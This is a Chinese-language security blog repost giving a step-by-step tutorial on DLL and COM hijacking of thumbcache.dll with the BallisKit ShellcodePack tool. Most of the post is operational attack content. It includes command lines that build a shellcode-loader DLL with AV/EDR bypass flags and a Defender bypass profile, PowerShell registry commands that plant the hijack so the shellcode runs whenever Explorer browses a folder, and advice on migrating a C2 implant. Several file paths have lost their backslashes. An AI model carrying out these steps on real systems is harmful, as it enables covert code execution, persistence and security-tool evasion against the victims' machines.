使用 ShellcodePack 进行 DLL 劫持

admin 2025年2月15日09:02:57评论3 views字数 2020阅读6分44秒阅读模式
使用 ShellcodePack 进行 DLL 劫持

下面是使用 BallisKit ShellcodePack(版本 2.7.2 及以上)执行一些 DLL 劫持的小教程。

在我们的例子中,我们将使用 thumbcache.dll 上的 COM 劫持来在每次浏览 Explorer 时触发有效负载。

背景

浏览带有缩略图的文件夹将触发执行 CLSID 为 {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} 的 COM 对象。

通过查看HKEY_CLASSES_ROOTCLSID{AB8902B4–09CA-4bb6-B78D-A8F59079A8D5}InprocServer32我们可以看到对象实现位于C:WindowsSystem32thumbcache.dll

使用 ShellcodePack 进行 DLL 劫持

Procmon thumbcache.dll 加载

您可以在此处看到,当浏览文件夹时,DllHost.exe 会加载 thumbcache.dll。使用 ProcMon 我们还可以看到,系统将首先加载 HKEY_CLASS_USER 中定义的值(如果存在)。

我们将使用该功能来运行 shellcode 加载器 DLL。

步骤1、生成shellcode加载器DLL

ShellcodePack 支持多种策略来从 DLL 加载 shellcode。在这里,我们选择从 DLL_MAIN 加载 shellcode。我们使用dll-proxy选项自动将导出的函数调用转发到原始 DLL。我们还使用dll-increase-reference-count来避免过早卸载我们的恶意 DLL。

让我们使用下一个命令行来生成我们的 DLL:

shellcode_pack.exe -i “x64shellcode.bin” -G “C:mypaththumbcache.dll” --arch =win_x64 --bypass --dll-increase-reference-count --dll-proxy= “c:windowssystem32thumbcache.dll”
提示:使用旁路选项,我们会自动应用多个 AV/EDR 旁路选项来生成有效载荷。您也可以通过以下方式使用已定义的 EDR 旁路预设之一:
--bypass -profile=bypass_profilesdefender_bypass_profile.json

步骤2、注册表中的COM劫持

使用下一个 PowerShell 命令行设置注册表

New-Item -Path "HKCU:SoftwareClassesCLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"New-Item -Path "HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:mypaththumbcache.dll"New-ItemProperty -Path "HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}InprocServer32" -Name "ThreadingModel" -Value "Apartment"
使用 ShellcodePack 进行 DLL 劫持

预期生成的注册表项

步骤 3,利用!

打开资管理器,单击带有缩略图的文件夹,例如“此电脑”。 shellcode 已启动!

步骤 4、清理

使用以下命令清理注册表:

Remove-Item -Path "HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"

限制和解决方法:

在 COM 劫持场景中,被劫持的进程关闭时(在我们的示例中为几秒钟后),您的 shellcode 将被中断。如果 shellcode 是 C2 植入程序,您可能需要在发生这种情况之前迁移到另一个进程。

解决方法是删除dll-proxy选项。在这种情况下,进程可能不会很快关闭,因为它对 DLL 的调用会失败。缺点是这可能无法在所有情况下都起作用。

劫持后保持目标进程存活的命令示例:

shellcode_pack.exe -i "x64shellcode.bin" -G "C:mypaththumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count

另一种选择;您可以从导出函数运行 shellcode,而不是从 DLL_MAIN 运行 shellcode 并代理导出函数。

您可以使用dll-run-shellcode-from-dll-export来执行此操作,并使用dll-export=DLL_EXPORT_NAME重命名默认的 ShellcodePack 导出函数。

从导出函数加载的问题在于,在 DLL 劫持的情况下,调用程序可能无法正常运行。

原文始发于微信公众号(Ots安全):使用 ShellcodePack 进行 DLL 劫持

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日09:02:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 ShellcodePack 进行 DLL 劫持https://cn-sec.com/archives/3743236.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息